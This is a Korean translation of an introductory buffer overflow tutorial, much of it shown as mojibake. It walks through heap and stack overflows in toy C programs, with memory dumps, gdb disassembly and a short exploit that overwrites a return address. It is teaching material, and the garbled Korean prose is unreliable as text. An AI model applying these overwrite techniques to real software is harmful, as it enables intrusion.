Buffer OverflowÀÇ ¼Ò°³ - (Ghost_Rider9@hotmail.com) ¹ø¿ªÀÚ : Saintlinu@hotmail.com Ãâ ó : http://www.subterrain.net/~jbl/overflow-papers/buffer.txt ----- Intro ----- ÀÌ ºÎºÐÀº ´Ü¼øÈ÷ ÀÛ¼ºÀÚ°¡ ÇÏ°í ½ÍÀº ¸»À» Àû¾î ³õÀº °ÍÀÌ¶ó ¹ø¿ªÀ» »ý·«ÇÏ¿´½À´Ï´Ù BOF¸¦ ÇÏ·Á¸é C, ASM, GDBµîÀ» ¾Ë¾Æ¾ß ÇÑ´Ù´Â ´çºÎÀ̸ç ÀÌ ±ÛÀÌ ¸ðµç°É ¸»ÇÏÁö ¾Ê´Â´Ù ´Â ¿¹±â¸¦ ÀÛ¼ºÀÚ°¡ ÇÏ°í ½Í´ä´Ï´Ù ^^/ ¹ø¿ªÀÚÀÇ ÆíÀǸ¦ À§ÇØ ¾Æ·¡ÀÇ ±Û ºÎÅÍ´Â ±×³É Á¸ÄªÀº »ý·«ÇϰڽÀ´Ï´Ù. ±×·³ ÁñÇÙÀ» ¹Ù¶ó¸ç Exploit? -------- ¾Æ¸¶ ´ëºÎºÐÀÇ »ç¶÷ÀÌ exploitÀÌ ¹ºÁö ¾Ë °ÍÀÌ´Ù. ±×·¯³ª ´ç½ÅÀº º¸¾ÈºÐ¾ß¿¡ µé¾î°¡±â À§ÇÑ ÀûÀýÇÑ exploit¿¡ ´ëÇÑ ¾ÆÀ̵ð¾î¸¦ °¡Áö°í ÀÖÁö¾Ê°í ¿©ÀüÈ÷ º¸°í ÀÖ´Ù. ±×·¡¼­ ³»°¡ ÀÛÀº ¼½¼ÇÀ» ÀÛ¼ºÇß´Ù. ÀϹÝÀûÀ¸·Î C·Î ÀÛ¼ºµÈ exploitÇÁ·Î±×·¥Àº ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ °¡Áö°í ÀÖ´Â ¹®Á¦¸¦ exploitÇÑ´Ù. ExploitÀº ½Ã½ºÅÛ»óÀÇ ÀϹÝÀûÀÎ »óÅ¿¡¼­ ½ÇÇàÇÏÁö ¾Ê¾Æ¾ß ÇÒ °ÍÀ» ¸î °¡Áö ÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â ÀÓÀÇÀÇ Äڵ带 ½ÇÇàÇÒ ¼ö ÀÖµµ·Ï Çã¶ô ÇÒ °ÍÀÌ´Ù. ¿äÁòÀº, ´ëºÎºÐÀÇ exploitµéÀº ¿ì¸®°¡ BOF exploitÀ̶ó ºÎ¸¥´Ù. ´ç½ÅÀÌ ¹¯°í ½ÍÀº °ÍÀÌ ¹«¾ùÀΰ¡? ±â´Ù·Á¶ó, Àá½Ã ÈÄ¿¡ ¾Ë°Ô µÉ °ÍÀÌ´Ù. ÀÌ ÀÚ·áÀÇ ÁÖÁ¦°¡ ¹Ù·Î ±×°ÍÀÌ´Ù. ´ç½ÅÀÌ ¾Ë¾Æ¾ß ÇÏ´Â ´Ù¸¥ ÀÏÀº ¸ðµç »ç¶÷ÀÌ ¾î¶»°Ô exploitÀ» »ç¿ëÇÏ´ÂÁö ¾Æ´Â °ÍÀÌ´Ù ( ´ëºÎºÐÀÇ À¥»çÀÌÆ®°¡ ¼Õ»óµÇ¾îÁø °Í¿¡ ´ëÇØ¼­ ¾î¶»°Ô »ý°¢Çϴ°¡?), script kiddies´Â security focus, packetstorm, ¶Ç´Â fyodor's exploit world °°Àº site¸¦ °¡¼­ download¹Þ°í, ½ÇÇà½ÃŲ´Ù, ±×¸®°í üÆ÷ µÇ¾î Áø´Ù. (¿ªÁÖ : fyodor's exploit world´Â nmap(network scanner)ÀÇ °³¹ßÀÚ È¨ÆäÀÌÁöÀÌ´Ù.) ±×·¯³ª ¿Ö ¸ðµç »ç¶÷µéÀº exploitsÀ» ÀÛ¼ºÇÏÁö ¾ÊÀ»±î? À½, ¹®Á¦´Â ¸¹Àº »ç¶÷µéÀÌ ¼Ò½ºÄÚµå ³»ÀÇ ¸î °¡Áö Ãë¾àÁ¡À» ¾î¶»°Ô ¹ß°ßÇÏ´ÂÁö ¾ËÁö ¸øÇϰųª ¶Ç´Â ºñ·Ï ¾È´Ù ÇØµµ exploitÀ» ÀÛ¼ºÇÏÁö ¸øÇÑ´Ù. ÀÚ ÀÌÁ¦ ´ç½ÅÀº exploitÀÌ ¹«¾ùÀÎÁö¸¦ ¾È´Ù. BOF ¼½¼ÇÀ¸·Î °¡ÀÚ ^^/ BOF¶õ °á±¹ ¹«¾ùÀΰ¡? ------------------------------------- ³»°¡ ¾Õ¼­ ¸»ÇÑ °Íó·³ ´ëºÎºÐÀÇ exploitÀº BOF exploitµéÀÌ´Ù. ´ç½ÅÀº ¾Æ¸¶ Áö±Ý »ý°¢ ÁßÀÏ °ÍÀÌ´Ù. "ÈÉ, ÀÌ ³ðÀÌ ( )¼Ò¸®¸¦ Çϰí ÀÖ±º, ¿©ÀüÈ÷ BOF°¡ ¹ºÁö ¸» ¾ÈÇϰí ÀÖÀÝ¾Æ --+), ÀÚ ±×°Í¿¡ ´ëÇØ¼­ À̾߱â ÇÏÀÚ BOF ¹®Á¦´Â ÇÁ·Î±×·¥ÀÌ data¸¦ ÀúÀåÇÏ´Â ¸Þ¸ð¸®¿¡ ±â¹Ý µÇ¾î Áø´Ù. ¿Ö³Ä°í, ´ç½ÅÀÌ ¹¯´Â´Ù À½ ¿Ö³ÄÇϸé BOF´Â ´ç½ÅÀÌ ¿øÇÏ´Â ¾î¶² ÀÏÀ» ÇϱâÀ§ÇØ ¸Þ¸ð¸®¿¡ ¿¹»óÇÏ´Â °É µ¤¾î ¾²´Â °ÍÀÌ´Ù. À̰ÍÀº ´ç½ÅÀÌ ¿øÇÏ´Â ¾î¶² ÀÏÀ» Çϵµ·Ï ÇÁ·Î±×·¥¿¡°Ô ½Ãų °ÍÀÌ´Ù. À½, Áö±Ý »ý°¢ÇÏ´Â ÁßÀÌ´Ù. "¿Í¿ì -_-/ ³ª´Â BOF°¡ ¾î¶»°Ô ÀÛ¾÷ÇÏ´ÂÁö ¾È´Ù", ±×·¯³ª ´ç½ÅÀº ¿©ÀüÈ÷ BOF°¡ ¾î¶»°Ô ¹ß°ßÇÏ´ÂÁö´Â ¾ËÁö ¸øÇÑ´Ù. ÇÁ·Î±×·¥À» º¸¸é¼­, ã¾Æº¸°í, BOF¸¦ °íÃÄ º¸ÀÚ ------¾Æ·¡´Â ºÎºÐÀûÀÎ ÄÚµå----- main(int argc, char **argv) { char *somevar; char *important; somevar = (char *)malloc(sizeof(char)*4); important = (char *)malloc(sizeof(char)*14); strcpy(important, "command"); /* important º¯¼ö Áß ÇϳªÀÌ´Ù */ stcrpy(somevar, argv[1]); - ÀϹÝÀûÀÎ ÇÁ·Î±×·¥ Äڵ尡 À§Ä¡ÇÏ´Â °÷ } - ´Ù¸¥ ÇÔ¼öµéÀÌ À§Ä¡ÇÏ´Â °÷ ------- ºÎºÐÀûÀÎ ÄÚµåÀÇ ³¡ ------ ÀÚ importantº¯¼ö´Â "chmod o-r file" °°Àº ¸î ¸îÀÇ system ¸í·É¾î¸¦ ÀúÀåÇÏ´Â º¯¼öÀÌ´Ù, ¼ÒÀ¯ÁÖ°¡ rootÀÎ ÆÄÀÏÀº ½ÇÇà Áß¿¡ ¿ª½Ã root±ÇÇÑÀÌ´Ù, ÀÌ ¸»Àº ´ç½ÅÀÌ ¸í·É¾î¸¦ º¸³¾ ¼ö ÀÖ´Ù¸é ´ç½ÅÀº ¾î¶² system¸í·É¾î¸¦ ½ÇÇà ÇÒ ¼ö ÀÖ´Ù. ´ç½ÅÀº »ý°¢ÁßÀÌ´Ù. ¾î¶»°Ô ¸¶À½´ë·Î ³»°¡ ¿øÇÏ´Â important º¯¼ö¿¡ ¾î¶² °ÍÀ» ³ÖÀ» ¼ö°¡ ÀÖÁö? ¹æ¹ýÀº ±×°Í¿¡ µµ´ÞÇÒ ¼ö ÀÖµµ·Ï ¸Þ¸ð¸®¸¦ overflow½ÃŰ´Â °ÍÀÌ´Ù. º¯¼öµéÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ º¸ÀÚ. ÁÖ¼Ò¸¦ º¸´Â °ÍÀº ´ç½ÅÀÌ Äڵ带 ´Ù½Ã ¾²±â À§ÇØ ÇÊ¿äÇÏ´Ù. ´ÙÀ½ÀÇ Äڵ带 È®ÀÎÇÏÀÚ ---------ºÎºÐÀûÀÎ ÄÚµå ----------- main (int argc, char **argv) { char *somevar; char *important; somevar=(char *)malloc(sizeof(char)*4); important=(char *)malloc(sizeof(char)*14); printf("%p\n%p", somevar, important); exit(0); /* ³ª¸ÓÁö ÄÚµå´Â ¿©±â¿¡ ^^/ */ } --------- End of Partial Code -------- ¼Ò½ºÄڵ忡 2ÁÙÀ» Ãß°¡Çϰí, ³ª¸ÓÁö ÄÚµå´Â ¼öÁ¤ÇÏÁö ¾Ê°í ³²°Üµ×´Ù. 2ÁÙÀÌ ¹«¾ùÀ» ÇÏ´ÂÁö º¸ÀÚ. printf("%p\n%p", somevar, important);Àº somevar¿Í importantº¯¼öÀÇ ¸Þ¸ð¸®ÁÖ¼Ò¸¦ Ãâ·ÂÇÑ´Ù. ´ç½ÅÀÇ ¸ñÀûÀº º¯¼öµéÀÌ ¾îµð¿¡ ÀúÀåµÇ¾î ÀÖ´ÂÁö ¾Æ´Â °ÍÀÌ´Ù. ÇÁ·Î±×·¥ ½ÇÇàÈÄ¿¡ ´ç½ÅÀº ´ÙÀ½°ú °°Àº Ãâ·ÂÀ» º¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù, ¾Æ¸¶µµ °°Àº ¸Þ¸ð¸® ÁÖ¼Ò´Â ¾Æ´Ò °ÍÀÌ´Ù. 0x8049700 <----- /* somevarÀÇ ÁÖ¼Ò */ 0x8049710 <----- /* importantÀÇ ÁÖ¼Ò */ ¿ì¸®´Â º¼ ¼ö ÀÖ´Ù, importantº¯¼ö°¡ somevar´ÙÀ½¿¡ À§Ä¡ÇÑ´Ù. À̰ÍÀ¸·Î ¿ì¸®´Â BOF ±â¼úÀ» »ç¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù ¿Ö³ÄÇϸé somevar´Â argv[1]ÀÔ·ÂÀ¸·Î ºÎÅÍ °¡Áö±â ¶§¹®ÀÌ´Ù. ÀÌÁ¦, ¿ì¸®´Â Çϳª°¡ ´Ù¸¥ °÷À¸·Î °£´Ù´Â °É ¾È´Ù. ±×·¯³ª °¢ ¸Þ¸ð¸®¸¦ È®ÀÎÇØ¾ß ÇÑ´Ù ±×·¡¼­ ¿ì¸®´Â µ¥ÀÌÅÍ ÀúÀåÀÇ Á¤È®ÇÑ °³³äÀ» °¡Áö°í ÀÖ´Ù. ÀÌ Äڵ带 ´Ù½Ã ½á º¸ÀÚ -------- Partial code --------- main(int argc, char **argv) { char *somevar; char *important; char *temp; /* ´Ù¸¥ º¯¼ö°¡ ÇÊ¿äÇÒ °ÍÀÌ´Ù.*/ somevar=(char *)malloc(sizeof(char)*4); important=(char *)malloc(sizeof(char)*14); strcpy(important, "command"); /*This one is the important variable*/ strcpy(somevar, argv[1]); printf("%p\n%p\n", somevar, important); printf("Starting To Print memory address:\n"); temp = somevar; /* À̰ÍÀº ¿ì¸®°¡ ¿øÇÏ´Â ¸Þ¸ð¸® ÁÖ¼Ò Ã³À½À» temp¿¡ ¼³Á¤ÇÒ °ÍÀÌ´Ù.*/ while(temp < important + 14) { /* ÀÌ ·çÇÁ´Â ¿ì¸®°¡ ¿øÇÏ´Â ¸¶Áö¸· ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾ò¾úÀ» ¶§ ÁßÁö µÉ °ÍÀÌ´Ù, important º¯¼öÀÇ ¸¶Áö¸· ÁÖ¼Ò */ printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp); temp++; } exit(0); /* ³ª¸ÓÁö ÄÚµå´Â ¿©±â¿¡ */ } ------ End Of partial Code ------ Argv[1]Àº 'send'¹®ÀÚ¿­À» »ç¿ëÇØ Á¤»óÀûÀÌ°Ô ÇØ¾ß ÇÑ´Ù (argv[1]ÀÌ ¾øÀ¸¸é segmentation fault°¡ ¹ß»ýÇÑ´Ù) ±×·¡¼­ ´ç½ÅÀÇ prompt¿¡¼­ ŸÀÌÇÎ ÇÑ´Ù. $ program_name send ´ÙÀ½Ã³·³ °á°ú°¡ ³ª¿Ã °ÍÀÌ´Ù: 0x8049700 0x8049710 Starting To Print memory address: 0x8049700: s (0x616c62) 0x8049701: e (0x616c) 0x8049702: n (0x61) <---- /* °¢ ¶óÀÎÀº ¸Þ¸ð¸®ÀÇ ÁÖ¼Ò¸¦ ³ªÅ¸³½´Ù */ 0x8049703: d (0x0) 0x8049704: (0x0) 0x8049705: (0x0) 0x8049706: (0x0) 0x8049707: (0x0) 0x8049708: (0x0) 0x8049709: (0x19000000) 0x804970a: (0x190000) 0x804970b: (0x1900) 0x804970c: (0x19) 0x804970d: (0x63000000) 0x804970e: (0x6f630000) 0x804970f: (0x6d6f6300) 0x8049710: c (0x6d6d6f63) 0x8049711: o (0x616d6d6f) 0x8049712: m (0x6e616d6d) 0x8049713: m (0x646e616d) 0x8049714: a (0x646e61) 0x8049715: n (0x646e) 0x8049716: d (0x64) 0x8049717: (0x0) 0x8049718: (0x0) 0x8049719: (0x0) 0x804971a: (0x0) 0x804971b: (0x0) 0x804971c: (0x0) 0x804971d: (0x0) $ ±¦ÂúÁö ¾Ê³ª? somevar°ú important º¯¼ö »çÀÌ¿¡ 12°³ÀÇ ¸Þ¸ð¸® ÁÖ¼Ò°¡ ºñ¾îÀÖ´Â °ÍÀÌ Á¸ÀçÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ´ÙÀ½ ó·³ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ ¼ö ÀÖ´Ù : $ program_name send------------newcommand ´ÙÀ½Ã³·³ °á°ú°¡ ³ª¿Ã °ÍÀÌ´Ù: 0x8049700 0x8049710 Starting To Print memory address: 0x8049700: s (0x646e6573) 0x8049701: e (0x2d646e65) 0x8049702: n (0x2d2d646e) 0x8049703: d (0x2d2d2d64) 0x8049704: - (0x2d2d2d2d) 0x8049705: - (0x2d2d2d2d) 0x8049706: - (0x2d2d2d2d) 0x8049707: - (0x2d2d2d2d) 0x8049708: - (0x2d2d2d2d) 0x8049709: - (0x2d2d2d2d) 0x804970a: - (0x2d2d2d2d) 0x804970b: - (0x2d2d2d2d) 0x804970c: - (0x2d2d2d2d) 0x804970d: - (0x6e2d2d2d) 0x804970e: - (0x656e2d2d) 0x804970f: - (0x77656e2d) 0x8049710: n (0x6377656e) <--- /* important º¯¼öÀÇ ¸Þ¸ð¸® ½ÃÀÛ ÁÖ¼Ò */ 0x8049711: e (0x6f637765) 0x8049712: w (0x6d6f6377) 0x8049713: c (0x6d6d6f63) 0x8049714: o (0x616d6d6f) 0x8049715: m (0x6e616d6d) 0x8049716: m (0x646e616d) 0x8049717: a (0x646e61) 0x8049718: n (0x646e) 0x8049719: d (0x64) 0x804971a: (0x0) 0x804971b: (0x0) 0x804971c: (0x0) 0x804971d: (0x0) ¿ÀÈ£, newcommand°¡ command¸¦ µ¤¾ú´Ù. Áö±Ý ´ç½ÅÀÌ ¿øÇÏ´Â ¹«¾ùÀΰ¡¸¦ ½ÇÇà Çß´Ù. ÇÁ·Î±×·¥ ÀÛ¼ºÀÚ°¡ ±â´ëÇß´ø °Í ´ë½Å¿¡ ¸»ÀÌ´Ù. ÁÖ¼® : ¶§¶§·Î somevar¿Í important º¯¼ö »çÀÌÀÇ °ø°£Àº ºñ¾îÀÖ´Â °Í ´ë½Å¿¡ ´Ù¸¥ º¯¼ö°¡ µé¾î°¥ ¼öµµ ÀÖ´Ù, ±×·¡¼­ ±×µéÀÇ °ªÀ» È®ÀÎÇϰí, ÀÏÄ¡ÇÏ´Â ÁÖ¼Ò¿¡ º¸³»¶ó, ¾Æ´Ï¸é ´ç½ÅÀÌ ¼öÁ¤Çß´ø º¯¼ö¸¦ ¾ò±â Àü¿¡ ÇÁ·Î±×·¥ÀÌ crashµÉ ¼ö ÀÖ´Ù. ÀÌÁ¦ Á¶±Ý »ý°¢Çغ¸ÀÚ. ¿Ö ÀÌ°Ô ÀϾ´Â °ÅÁö? ¼Ò½ºÄÚµåÀÇ somevar¸¦ º¸¸é important º¯¼ö Àü¿¡ ¼±¾ðµÇ¾î ÀÖ´Ù, À̰ÍÀº ¸¸µé °ÍÀÌ´Ù, Ç×»ó, somevar°¡ ¸Þ¸ð¸® óÀ½¿¡ Á¸Àç ÇÒ °ÍÀÌ´Ù. ÀÚ ¾ò¾îÁø somevarÀÇ °¢°¢À» È®ÀÎ ÇØ º¸ÀÚ. Somevar´Â argv[1]¿¡ ÀÇÇØ °ªÀÌ ±¸ÇØÁø´Ù, ±×¸®°í important´Â strcpy() ÇÔ¼ö¿¡ ÀÇÇØ ±¸ÇØÁø´Ù, ±×·¯³ª ÁøÂ¥ ¹®Á¦´Â somevarº¯¼ö¿¡ °ªÀ» ´ç½ÅÀÌ ÇÒ´çÇϱâ Àü¿¡ ¸ÕÀú important°ªÀÌ ÇÒ´çµÇ¾î Áö´Â °ÍÀÌ´Ù. Important´Â µ¤¾î ¾º¾îÁú ¼ö ÀÖ´Ù. ÀÌ ÇÁ·Î±×·¥Àº ÀÌ BOF¿¡ ´ëÇ×ÇØ¼­ 2ÁÙÀ» Àû´çÈ÷ ¹Ù²ÞÀ¸·Î½á ÆÐÄ¡ µÇ¾î Áú ¼ö ÀÖ´Ù : strcpy(somevar, argv[1]); strcpy(important, "command"); ¸¸¾à ÀÌ ¹æ¹ýÀ¸·Î ÇÁ·Î±×·¥À» ½ÇÇà ½ÃÄ×´Ù¸é, ºñ·Ï ´ç½ÅÀÌ argv[1]À» importantÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¿¡ ÁÙ ¼ö ÀÖ´Ù°í ÇØµµ ÁøÂ¥ command¿¡ ÀÇÇØ ´Ù½Ã µ¤¾î ¾º¾îÁú °ÍÀÌ´Ù, somevar°ªÀ» ¾òÀº ÈÄ¿¡ important°ªÀÌ ÇÒ´çµÇ¾îÁö±â ¶§¹®ÀÌ´Ù. À̰ÍÀº BOFÀÇ Á¾·ù Áß Heap BOFÀÌ´Ù. ´ç½ÅÀÌ º¸¾Æ ¿Â °Íó·³ ÀÌ·Ð »óÀ¸·Î´Â Á¤¸» ½±´Ù ±×·¯³ª, ½ÇÁ¦ ¼¼»ó¿¡¼­´Â, ±×°ÍÀ» ÇàÇϱⰡ ½±Áö ¾Ê´Ù, °á±¹ ³»°¡ Á¦½ÃÇÑ ¿¹Á¦´Â ÁøÂ¥ ¸ÛûÇÑ(-_-;) ÇÁ·Î±×·¥ÀÌ´Ù. ¾Ë°Ú´Â°¡? importantº¯¼ö¸¦ ã´Â °ÍÀº Á¤¸» °í¿ªÀÌ´Ù. ±×¸®°í ÇÏÀ§ ¸Þ¸ð¸® ÁÖ¼Ò¿¡ ´ç½ÅÀÌ ÇÊ¿ä·Î ÇÏ´Â °ÍÀ» ÀÛ¼ºÇÒ ¼ö ÀÖµµ·Ï º¯¼ö¸¦ overflow ½ÃŰ´Â °Í ¶ÇÇÑ Èûµé´Ù, ´ëºÎºÐ ÀÌ Á¶°ÇÀ» ¸ðµÎ °¡Áú ¼ö ¾ø´Ù, ÀÌÁ¦ Stack BOF¿¡ ´ëÇØ¼­ À̾߱â ÇÒ °ÍÀÌ´Ù. - ¾à°£ÀÇ note: --; -------------------------- Áö³­ Àå¿¡¼­ ³ª´Â heap°ú stack¿¡ ´ëÇØ¼­ À̾߱â Çß´Ù ^^/ ´ç½ÅÀº ¾Æ¸¶ °¢°¢¿¡ ´ëÇØ¼­ ±Ã±ÝÇÒ °ÍÀÌ´Ù. ¿©±â¿¡ °£´ÜÇÏ°Ô ±×¸®°í ÀÌÇØÇϱ⠽±°Ô °¢°¢À» Á¤ÀÇ ÇÏ¿´´Ù. Heap (hipÀÌ ¾Æ´Ï´Ù --+) Àº º¯¼ö¸¦ À§ÇØ ¿¹¾àµÇ¾îÁø °ø°£ÀÌ´Ù. ( ´ç½ÅÀÌ malloc()ÇÔ¼ö¸¦ »ç¿ëÇÒ ¶§ heapÀ» »ç¿ë ÇÑ´Ù) Stack - ÇÔ¼ö·ÎºÎÅÍ ÀԷµǴ °ª, ¸®ÅÏ µÇ¾îÁö´Â °ª, main()ÇÔ¼ö ³»¿¡ ¼±¾ðµÈ/¾ÈµÈ º¯¼ö µîÀ» ÀúÀåÇÏ´Â Àå¼Ò StackÀ» BOF ½ÃµµÇÒ ¶§ ´ç½ÅÀº returnÁÖ¼Ò¸¦ ¹Ù²Ù±â, ´ç½ÅÀÌ ¿øÇÏ´Â ½ÇÇàÀ» Çϱâ À§ÇÑ ¸í·É¾î°¡ ³õ¿©Áø ¸Þ¸ð¸® ³»ÀÇ ¾î¶² Àå¼Ò·Î Á¡ÇÁÇÏ´Â Äڵ带 ¸¸µé¾î ½Ãµµ ÇÒ °ÍÀÌ´Ù. ÀÚ ½ºÅà stuff ¾ÈÀ» º¸ÀÚ, ¿©±â°¡ ³ª¿¡°Ô ÁÖ¾îÁø ¹®Á¦ÀÌ¸ç ¿©ÀüÈ÷ ÁÖ°í ÀÖ´Â ¹®Á¦ÀÇ ½ÃÀÛÀÌ´Ù. ¿©±â´Â ¿ì¸®°¡ gdb¸¦ »ç¿ëÇØ Á¶ÀýÇϱâ À§ÇØ ASMÀ» ¾Æ´Â °ÍÀÌ ÇÊ¿äÇÒ °ÍÀÌ´Ù (³ª¸¦ ¹Ï¾î¶ó, À̰ÍÀº ´ç½ÅÀÇ °¡Àå ÁÁÀº Ä£±¸¿Í ½ÃÀÛÀ» ÇÏ´Â °ÍÀÌ´Ù), ¿©ÀüÈ÷ Æ÷±âÇÏÁö ¸¶¶ó. ¿ì¸®´Â returnÁÖ¼Ò(RET)¸¦ º¯È­½Ã۱â À§ÇØ °ø°ÝÀÇ ÀÏÁ¾À» ±¸¼ºÇϰíÀÖ´Â Smashing the Stack¿¡ ´ëÇØ À̾߱â ÇÒ °ÍÀÌ´Ù. À̰ÍÀº ´ç½ÅÀÌ ½ÇÇàµÇ¾îÁö±â ¿øÇÏ´Â ¸î¸îÀÇ ¸í·É¾îµéÀÌ ÀÌ¹Ì ÇÒ´ç µÇ¾îÁø ÇÔ¼öÀÇ ÁÖ¼Ò¿¡ µ¹¾Æ°¥ ¼ö ÀÖ°Ô ÇÑ´Ù. Heap BOFó·³, ¸î °³ÀÇ ¼Ò½ºÄڵ带 º¸ÀÚ ------ Code starts here ------ /* Stack Overflow example */ exploit(char *this) { char string[20]; strcpy(string,this); printf("%s\n", string); } main(int argc, char *argv[]) { exploit(argv[1]); } ------ Code ends here ----- Áö±Ý ¿ì¸®´Â exploit()À» µÎ ¹ø È£ÃâÇÒ °ÍÀÌ´Ù. À̰ÍÀ» ¾î¶»°Ô ÇÒ±î? À½. óÀ½À¸·Î ¿ì¸®´Â ¾î¶² Á¤¹ÐÇÑ ÁÖ¼ÒµéÀ» ã¾Æ¾ß ÇÑ´Ù. À̹ø¿¡´Â gdb¸¦ »ç¿ëÇÒ °ÍÀÌ´Ù. ù¹øÂ°·Î ¿ì¸®´Â ÄÄÆÄÀÏÇÑ´Ù. $ gcc stack.c -o stack $ gdb stack GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux-gnu"... (gdb) À̰ÍÀº ´ç½ÅÀÇ promptÀÌ´Ù, ÀÌÁ¦ ¿ì¸®´Â mainÀ» disassembleÇÒ °ÍÀÌ´Ù. ±×³É disassemble main¶ó°í ÃÄÁÖ¸é µÈ´Ù (¶Ç´Â disas¶ó°í ÇÒ ¼ö ÀÖ´Ù) ¾î·ÆÁö ¾ÊÁö? (gdb) disas main Dump of assembler code for function main: 0x8048440
: push %ebp 0x8048441 : mov %esp,%ebp 0x8048443 : mov 0xc(%ebp),%eax 0x8048446 : add $0x4,%eax 0x8048449 : mov (%eax),%edx 0x804844b : push %edx 0x804844c : call 0x8048410 0x8048451 : add $0x4,%esp 0x8048454 : mov %ebp,%esp 0x8048456 : pop %ebp 0x8048457 : ret (Some NOPS here. They stand for No Operation...meaning nothing is done). End of assembler dump. ¸î °¡Áö »ý°¢Çغ¸ÀÚ ------------- ExploitÀ» º¸¸é 0x804845c¿¡¼­ È£ÃâµÇ¾ú´Ù. ±×¸®°í ÀÌ°Í ÀÚü°¡ ÀÇ ÁÖ¼Ò 0x8048410¸¦ °¡Áö°í ÀÖ´Ù. gdb·Î µ¹¾Æ°¡¼­ ----------- (gdb) disas exploit End of assembler dump. (gdb) 0x8048410 : push %ebp 0x8048411 : mov %esp,%ebp 0x8048413 : sub $0x14,%esp 0x8048416 : mov 0x8(%ebp),%eax 0x8048419 : push %eax 0x804841a : lea 0xffffffec(%ebp),%eax 0x804841d : push %eax 0x804841e : call 0x8048340 0x8048423 : add $0x8,%esp 0x8048426 : lea 0xffffffec(%ebp),%eax 0x8048429 : push %eax 0x804842a : push $0x80484bc 0x804842f : call 0x8048330 0x8048434 : add $0x8,%esp 0x8048437 : mov %ebp,%esp 0x8048439 : pop %ebp 0x804843a : ret (gdb) x/3bc 0x80484bc 0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n' (gdb) (gdb) quit $ prompt·Î µ¹¾Æ°¡¼­ Stack BOF°ú »ó°ü¾ø´Â stage -------------------------------- ´ç½ÅÀº x/3bc ¸í·ÉÀÌ ¹«¾ùÀÎÁö ±Ã±ÝÇÒ °ÍÀÌ´Ù. À̰ÍÀº ¿ì¸®°¡ ¸Þ¸ð¸®¸¦ Á¶»çÇÏ°Ô ÇÏ´Â ¸í·ÉÀÌ´Ù. x/3bc ^^^ |||--- chars || --- Binary |----- define 3 as range ´õ ¸¹Àº Á¤º¸´Â gdb prompt¿¡¼­ help x/ÇÏ¸é µÈ´Ù ³ª´Â ½ºÅÃÀÇ 0x80484cc¿¡ ³Ö¾îÁø °ÍÀÌ ±Ã±ÝÇß´Ù. ±×¸®°í º¸´Â °Í°ú °°ÀÌ ¿ì¸®°¡ Ãâ·Â µÇ±â ¿øÇÏ´Â ¹®ÀÚ¿­ÀÌ ÀÖ´Ù. ¿ì¸®ÀÇ ¸ñÇ¥ -------- ¿ì¸®ÀÇ ¸ñÇ¥´Â exploitÇÔ¼ö°¡ mainÀ¸·Î µ¹¾Æ°¡´Â °Í ´ë½Å¿¡ ´Ù½Ã exploitÇÔ¼ö·Î return ½ÃŰ´Â °ÍÀÌ´Ù. ¾î¶»°Ô ¿ì¸®°¡ À̰ÍÀ» ÇÒ ¼ö ÀÖÀ»±î? ±×¸®°í ÇÒ ¼ö ÀÖ´Ù¸é ¾î¶»°Ô ¾Ë ¼ö ÀÖÀ»±î? óÀ½ ¿ì¸®°¡ ¾Æ¸¶µµ Äڵ带 exploitÇÒ ¼ö ÀÖ´Ù´Â ½ÅÈ£´Â segmentation faultÀÌ´Ù. ¾öû³­ ¹®ÀÚ¿­À» ÁÖ¸é ¿ì¸®´Â °¡Áú °ÍÀÌ´Ù. Á¤¸» °Å´ëÇÏÁö´Â ¾Ê°í ¾Æ¸¶ aaaaaaaaaaaaaaaaaaaa ÀÏ °ÍÀÌ´Ù.½º½º·Î È®ÀÎÇØº¸¶ó ¿ì¸®´Â RETÀ» º¯°æ½Ã۱â À§ÇØ gdb¿¡¼­ º¸¾Ò´ø ÁÙÀ» Áö±Ý »ý°¢ÇÒ Çʿ䰡 ÀÖ´Ù. 0x804844c : call 0x8048410 Áú¹®. 2°³ÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â ÀÌ Áß¿äÇÑ ÁÙ¿¡¼­ ¾î´À°ÍÀ» »ç¿ëÇϳª? À̰ÍÀº ½±´Ù. 0x804844cÀ» »ç¿ëÇÏ´Â °ÍÀÌ ÇÊ¿äÇÏ´Ù. ¿Ö³ÄÇϸé À̰ÍÀº exploitÀ» È£ÃâÇÏ´Â ¼³¸íÀÌ´Ù. ¸¸¾à 0x8048410À» »ç¿ëÇÑ´Ù¸é ¿ì¸®´Â ¾Æ¹«°Íµµ ¾òÁö ¸øÇÒ °ÍÀÌ´Ù. ¿Ö³ÄÇÏ¸é ¾Æ·¡¸¦ °¡¸®Å°°í Àֱ⠶§¹®ÀÌ´Ù. 0x8048410 : push %ebp ------ Code Starts Here ----- /* Exploit for stack program */ #include main() { char buf[28]; int i; for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161; *(long *)&buf[24] = 0x0804844c; *(long *)&buf[28] = 0x0; execv("./stack2", buf); } ------- Code ends Here -------- ¿ì¸®´Â exploitÀ» ´Ù½Ã È£ÃâÇϱâ À§ÇØ ÇÔ¼ö¸¦ µÇµ¹¸®·Á ¸®ÅÏ ÁÖ¼Ò¸¦ 0x0804844c·Î ´Ù½Ã ÀÛ¼º ÇÒ °ÍÀÌ´Ù. À̰ÍÀº ¿ì¸®¸¦ ¹«ÇÑ·çÇÁ »óÅ·Π¸¸µé °ÍÀÌ´Ù. (¿ªÁÖ : 2¹ø ¹Û¿¡ ½ÇÇà µÇÁö ¾Ê´Â´Ù) ¿Ö ¿ì¸®´Â ÀÌ ÇÁ·Î±×·¥À» exploitÇÒ ¼ö Àִ°¡? ¿ì¸®°¡ ÁÖ´Â ¹®ÀÚ¿­ÀÇ ±æÀ̸¦ È®ÀÎÇÏ´Â 